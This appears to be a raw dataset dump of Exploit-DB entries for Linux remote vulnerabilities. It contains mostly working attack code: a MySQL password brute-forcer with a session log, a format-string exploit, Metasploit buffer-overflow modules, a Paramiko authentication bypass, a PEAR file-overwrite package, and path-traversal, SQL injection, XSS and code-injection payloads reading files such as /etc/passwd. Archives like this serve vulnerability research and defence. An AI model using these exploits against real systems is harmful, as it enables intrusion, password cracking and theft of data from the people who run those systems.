deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38109
Description: Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass
Type: remote
Platform: linux
Date: 2012-12-06
Author: kingcope

Exploit:
source: https://www.securityfocus.com/bid/56837/info

MySQL and MariaDB are prone to a security-bypass weakness.

An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible. 

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0",
                $crackuser,
                "\x14".
                Net::MySQL::Password->scramble(
                        $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
                ) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
        print "[*] Cracked! --> $currentpass\n";
        exit;
}
}
---
example session:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
[*] Cracked! --> pass
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs
Session aborted
Exploit-DB #10282
Description: OrzHTTPd - Format String
Type: remote
Platform: linux
Date: 2009-12-03
Author: Patroklos Argyroudis

Exploit:
#!/usr/bin/env python
# orzex.py -- Patroklos Argyroudis, argp at domain census-labs.com
# http://code.google.com/p/orzhttpd/source/detail?r=141

import os
import sys
import socket
import struct
import time
import urllib

GET = "GET "

def main(argv):
    argc = len(argv)

    if argc != 4:
        print "usage: %s <host> <port> <address>" % (argv[0])
        print "[*] find address with objdump -R orzhttpd | grep fprintf"
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])
    addr = int(argv[3], 16)

    print "[*] target: %s:%d:%s" % (host, port, argv[3])

    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)
    
    time.sleep(1)

    fmtstr = struct.pack('<LL', addr + 2, addr)
    fmtstr += "%.16650x%19$hn%.514x%20$hn"

    payload = GET
    payload += fmtstr

    print "[*] sending exploit format string to %s:%d" % (host, port)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(payload)
    sd.close()

    print "[*] sending trigger to %s:%d" % (host, port)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(GET)
    sd.close()
    
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)

# EOF
Exploit-DB #47956
Description: Pachev FTP Server 1.0 - Path Traversal
Type: remote
Platform: linux
Date: 2020-01-23
Author: 1F98D

Exploit:
# Exploit Title: Pachev FTP Server 1.0 - Path Traversal
# Date: 2020-01-23
# Vulnerability: Path Traversal
# Exploit Author: 1F98D
# Vendor Homepage: https://github.com/pachev/pachev_ftp

from ftplib import FTP

ip = raw_input("Target IP: ")
port = int(raw_input("Target Port: "))

ftp = FTP()
ftp.connect(host=ip, port=port)
ftp.login('pachev', '')                   
ftp.retrbinary('RETR ../../../../../../../../etc/passwd', open('passwd.txt', 'wb').write)
ftp.close()
file = open('passwd.txt', 'r')
print "[**] Printing the contents of /etc/passwd\n"
print file.read()
Exploit-DB #35232
Description: Pango Font Parsing - 'pangoft2-render.c' Heap Corruption
Type: remote
Platform: linux
Date: 2011-01-18
Author: Dan Rosenberg

Exploit:
source: https://www.securityfocus.com/bid/45842/info

Pango is prone to a remote heap-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35232.zip
Exploit-DB #45712
Description: Paramiko 2.4.1 - Authentication Bypass
Type: remote
Platform: linux
Date: 2018-10-29
Author: Adam Brown

Exploit:
# Exploit Title: Paramiko 2.4.1 - Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.paramiko.org
# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1
# Tested on: Multiple
# CVE : CVE-2018-7750

# This PoC is based on discussions found at the following github issue:
# https://github.com/paramiko/paramiko/issues/1175
# TLDR, Paramiko doesn't check if the client has completed the authentication step
# before allowing the client to open channels. The PoC below connects to an SFTP
# server, and lists the root directory without authenticating. Slight modification
# is required if you want to open an SSH channel.

#!/usr/bin/python
import paramiko

host = '127.0.0.1'
port = 22

trans = paramiko.Transport((host, port))
trans.start_client()

# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')

sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()
Exploit-DB #25035
Description: PCAL 4.x - Calendar File 'getline' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Danny Lungstrom

Exploit:
source: https://www.securityfocus.com/bid/12035/info

PCAL is prone to a buffer overflow vulnerability. This issue is exposed when the application handles a calendar file that contains excessively long lines. Since calendar files may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation of this issue will result in execution of arbitrary code as the user of the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25035.zip
Exploit-DB #25036
Description: PCAL 4.x - Calendar File 'get_holiday' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Danny Lungstrom

Exploit:
source: https://www.securityfocus.com/bid/12036/info

PCAL is prone to a buffer overflow vulnerability. This issue is exposed when the application handles a calendar file that contains excessively long holiday data. Since calendar files may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation of this issue will result in execution of arbitrary code as the user of the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25036.zip
Exploit-DB #33949
Description: PCRE 6.2 - Regular Expression Compiling Workspace Buffer Overflow
Type: remote
Platform: linux
Date: 2010-05-06
Author: Michael Santos

Exploit:
source: https://www.securityfocus.com/bid/39974/info

PCRE is prone to a buffer-overflow vulnerability because the library fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of an application using the PCRE library. Failed attacks may result in denial-of-service conditions.

Versions prior to PCRE 8.02 are vulnerable; applications which use the PCRE library may also be affected. 

perl -e 'print "/","("x819, ")"x819, "/"' | pcretest
Exploit-DB #16855
Description: PeerCast 0.1216 (Linux) - URL Handling Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in PeerCast <= v0.1216.
				The vulnerability is caused due to a boundary error within the
				handling of URL parameters.
			},
			'Author'         => [ 'MC' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2006-1148'],
					['OSVDB', '23777'],
					['BID', '17040'],
					['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 200,
					'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
					'MinNops'  => 64,
				},
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Targets'        =>
				[
					['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
				],
			'DisclosureDate' => 'Mar 8 2006'))

		register_options([
			Opt::RPORT(7144)
		], self.class)
	end

	def exploit
		connect

		pat = rand_text_alphanumeric(780)
		pat << [target.ret].pack('V')
		pat << payload.encoded

		uri = '/stream/?' + pat

		res = "GET #{uri} HTTP/1.0\r\n\r\n"

		print_status("Trying target address 0x%.8x..." % target.ret)
		sock.put(res)

		handler
		disconnect
	end

end
Exploit-DB #10027
Description: PeerCast 0.1216 - Remote Stack Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2006-03-08
Author: MC

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
			'Description'    => %q{
				This module exploits a stack overflow in PeerCast <= v0.1216. 
				The vulnerability is caused due to a boundary error within the
				handling of URL parameters.
					
			},
			'Author'         => [ 'MC' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2006-1148'],
	  				['OSVDB', '23777'],
					['BID', '17040'],
					['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 200,
					'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
					'MinNops'  => 64,
				},
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Targets'        => 
				[
					['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
				],
			'DisclosureDate' => 'Mar 8 2006'))
			
			register_options( [ Opt::RPORT(7144) ], self.class )
	end

	def exploit
		connect
		
		pat = rand_text_alphanumeric(780)
		pat << [target.ret].pack('V')
		pat << payload.encoded

		uri = '/stream/?' + pat
		
		res = "GET #{uri} HTTP/1.0\r\n\r\n"
		
		print_status("Trying target address 0x%.8x..." % target.ret)
		sock.put(res)
		
		handler
		disconnect
	end

end
Exploit-DB #23802
Description: Pegasi Web Server 0.2.2 - Arbitrary File Access
Type: remote
Platform: linux
Date: 2004-03-11
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9847/info

Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks. A successful cross-site scripting attack may make it possible for an attacker to create a malicious link to a vulnerable site that includes hostile HTML and script code. This code may be rendered in the browser of a victim user who visits the malicious link and this will occur in the security context of the site hosting the software. The directory traversal vulnerability may allow a malicious user to request files outside of the web-server root directory with directory traversal strings such as '../'.

Pegasi Web Server version 0.2.2 has been reported to be prone to these issues, however, it is possible that other versions are affected as well.

http://www.example.com/../../../../etc/passwd
http://www.example.com/../
Exploit-DB #23803
Description: Pegasi Web Server 0.2.2 - Error Page Cross-Site Scripting
Type: remote
Platform: linux
Date: 2004-03-11
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9847/info
 
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks. A successful cross-site scripting attack may make it possible for an attacker to create a malicious link to a vulnerable site that includes hostile HTML and script code. This code may be rendered in the browser of a victim user who visits the malicious link and this will occur in the security context of the site hosting the software. The directory traversal vulnerability may allow a malicious user to request files outside of the web-server root directory with directory traversal strings such as '../'.
 
Pegasi Web Server version 0.2.2 has been reported to be prone to these issues, however, it is possible that other versions are affected as well.

http://www.example.com/<script>alert("Test")</script>
Exploit-DB #35554
Description: Perl 5.x - 'lc()' / 'uc()' TAINT Mode Protection Security Bypass
Type: remote
Platform: linux
Date: 2011-03-30
Author: mmartinec

Exploit:
source: https://www.securityfocus.com/bid/47124/info

Perl is prone to a security-bypass weakness that occurs when laundering tainted input.

Attackers can leverage this issue to bypass security checks in perl applications that rely on TAINT mode protection functionality. This opens such applications up to potential attacks that take advantage of the software's failure to properly sanitize user-supplied input. 

The following example input is available:

> perl -Te 'use Scalar::Util qw(tainted); $t=$0; $u=lc($t); printf("%d,%d\n",tainted($t),tainted($u))'

> perl -Te 'use Scalar::Util qw(tainted); $t=$0; $u=lc($t); printf("%d,%d\n",tainted($t),tainted($u))'
Exploit-DB #36199
Description: Perl 5.x - Digest Module 'Digest->new()' Code Injection
Type: remote
Platform: linux
Date: 2011-10-02
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/49911/info

The Digest module for Perl is prone to a vulnerability that will let attackers inject and execute arbitrary Perl code.

Remote attackers can exploit this issue to run arbitrary code in the context of the affected application.

Digest versions prior to 1.17 are affected. 

Digest->new("::MD5lprint 'ownaide\n';exit(1);");
Exploit-DB #35836
Description: Perl Data::FormValidator 4.66 Module - 'results()' Security Bypass
Type: remote
Platform: linux
Date: 2011-06-08
Author: dst

Exploit:
source: https://www.securityfocus.com/bid/48167/info

The Perl Data::FormValidator module is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and obtain potentially sensitive information.

Data::FormValidator 4.66 is vulnerable; other versions may also be affected.

#!/opt/perl/5.12/bin/perl

use strict;
use warnings;

use Data::FormValidator;

"some_unrelated_string" =~ m/^.*$/;

my $profile = {
untaint_all_constraints => 1,
required => [qw(a)],
constraint_methods => {
a => qr/will_never_match/,
},
};

my $results = Data::FormValidator->check({ a => 1 }, $profile);
warn $results->valid('a');
Exploit-DB #30074
Description: PHP PEAR 1.5.3 - INSTALL-AS Attribute Arbitrary File Overwrite
Type: remote
Platform: linux
Date: 2007-05-07
Author: Gregory Beaver

Exploit:
source: https://www.securityfocus.com/bid/24111/info

PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files.

An attacker-supplied package may supply directory-traversal strings through the 'install-as' attribute to create and overwrite files in arbitrary locations.

This issue affects PEAR 1.0 to 1.5.3. 

create a file named "INSTALL" and save it in the current directory.
Save the following XML as package.xml, and run "pear install package.xml"

If php_dir is /usr/local/lib/php The file "INSTALL" will be installed into
/usr/local/test.php



<?xml version="1.0" encoding="UTF-8"?>
<package version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd">
 <name>Test_Sec</name>
 <channel>pear.php.net</channel>
 <summary>Test security vulnerability</summary>
 <description>demonstrate install-as vulnerability
 </description>
 <lead>
  <name>Greg Beaver</name>
  <user>cellog</user>
  <email>cellog@php.net</email>
  <active>yes</active>
 </lead>
 <date>2007-03-05</date>
 <version>
  <release>1.6.0</release>
  <api>1.6.0</api>
 </version>
 <stability>
  <release>stable</release>
  <api>stable</api>
 </stability>
 <license uri="http://www.php.net/license">PHP License</license>
 <notes>
    allow up to latest beta version [tias]
 </notes>
 <contents>
  <dir name="/">
   <file name="INSTALL" role="php" />
  </dir> <!-- / -->
 </contents>
 <dependencies>
  <required>
   <php>
    <min>4.3.0</min>
   </php>
   <pearinstaller>
    <min>1.4.3</min>
   </pearinstaller>
  </required>
 </dependencies>
 <phprelease>
  <filelist>
   <install as="../../test.php" name="INSTALL" />
  </filelist>
 </phprelease>

</package>
Exploit-DB #29595
Description: PHP RRD Browser 0.2 - 'P' Directory Traversal
Type: remote
Platform: linux
Date: 2007-02-12
Author: Sebastian Wolfgarten

Exploit:
source: https://www.securityfocus.com/bid/22520/info

php rrd browser is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve the contents of arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Versions prior to 0.2.1 are vulnerable to this issue. 

http://www.example.com/prb/www/?p=../../../../../../../etc/passwd
Exploit-DB #21365
Description: phpGroupWare 0.9.13 - Debian Package Configuration
Type: remote
Platform: linux
Date: 2002-04-03
Author: Matthias Jordan

Exploit:
source: https://www.securityfocus.com/bid/4424/info

PHPGroupWare is a freely available, open source groupware system written in PHP. It is distributed and maintained by the PHPGroupWare project.

Debian packages of PHPGroupWare ship with an insecure default configuration. The PHP magic_quotes_gpc directive of the PHPGroupWare apache.conf file is disabled by default in Debian packages. This may enable remote attackers to make SQL injection attacks via PHPGroupWare.

Under normal circumstances, PHPGroupWare installs with the PHP magic_quotes_gpc directive enabled, to restrict the possibility of SQL injection attacks.

Additionally, this issue may also enable an attacker to exploit vulnerabilities that may exist in the underlying database. 

fubar'; CREATE TABLE thistableshouldnotexist (a int); --
Exploit-DB #21945
Description: PlanetDNS PlanetWeb 1.14 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2002-10-17
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/5988/info

PlanetWeb is a commercially available web server integrated with dynamic DNS services. It is distributed by PlanetDNS, and available for Microsoft Operating Systems.

PlanetWeb does not properly handle long requests. Due to insufficient bounds checking, a long request sent to PlanetWeb may result in a buffer overflow. This could result in a denial of service, and has been reported as being exploitable to execute arbitrary code. 

#!/usr/bin/perl -w
#tool bop.pl
# buffer overflow tested against plaetweb v1.14
# humm..this exploit is not for lamers...
# Greetz: marocit and #crack.fr (specialemet christal...plus tu p�dales moins fort, moins tu #avances plus vite..)
#

use IO::Socket;
if ($#ARGV<0)
{
 print "\n write the target IP!! \n\n";
 exit;
}

$shellcode =
("YOURFAVORITSHELLCODEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");#add your favorit shellcode
$buffer = "A"x6444;
$ebx = "\x90\xEB\x08\x90";# you have the chance because ebx = eip - 4 bytes jmp short 0xff x0d3
$ret = "\x43\x43\x43\x43";# insert your ret address with (jmp ebx or call ebx)
$minibuf ="\x90\x90\x90\x90";# will be jumped by EB08
$connect = IO::Socket::INET ->new (Proto=>"tcp",
PeerAddr=> "$ARGV[0]",
PeerPort=>"80"); unless ($connect) { die "cant connect $ARGV [0]" }
print $connect "$buffer$ebx$ret$minibuf$shellcode";
print "\nsending exploit......\n\n";
Exploit-DB #404
Description: PlaySms 0.7 - SQL Injection
Type: remote
Platform: linux
Date: 2004-08-19
Author: Noam Rathaus

Exploit:
#!/usr/bin/perl 
# PlaySMS version 0.7 and prior SQL Injection PoC 
# Written by Noam Rathaus of Beyond Security Ltd. 
# 

use IO::Socket; 
use strict; 

my $host = $ARGV[0]; 

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" ); 

unless ($remote) { die "cannot connect to http daemon on $host" } 

print "connected "; 

$remote->autoflush(1); 

my $http = "GET /~playsms/fr_left.php HTTP/1.1 
Host: $host:80 
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 
Firefox/0.9.1 
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 
Accept-Language: en-us,en;q=0.5 
Accept-Encoding: gzip,deflate 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Cookie: vc1=ticket; vc2='%20union%20select%20'ticket; 
Content-Type: application/x-www-form-urlencoded 
Connection: close 

"; 

print "HTTP: [$http] "; 
print $remote $http; 
sleep(1); 
print "Sent "; 

while (<$remote>) 
{ 
print $_; 
} 
print " "; 

close $remote; 

# milw0rm.com [2004-08-19]
Exploit-DB #27630
Description: Plone 2.x - MembershipTool Access Control Bypass
Type: remote
Platform: linux
Date: 2006-04-12
Author: MJ0011

Exploit:
source: https://www.securityfocus.com/bid/17484/info

Plone is susceptible to a remote access-control bypass vulnerability. This issue is due to the application's failure to properly enforce privileges to various MembershipTool methods.

This issue allows remote, anonymous attackers to modify and delete portrait images of members. This may help attackers exploit latent vulnerabilities in image-rendering software. Other attacks may also be possible.

curl -F portrait=<path_to_file> --form-string member_id=[username] http://www.example.com/portal_membership/changeMemberPortrait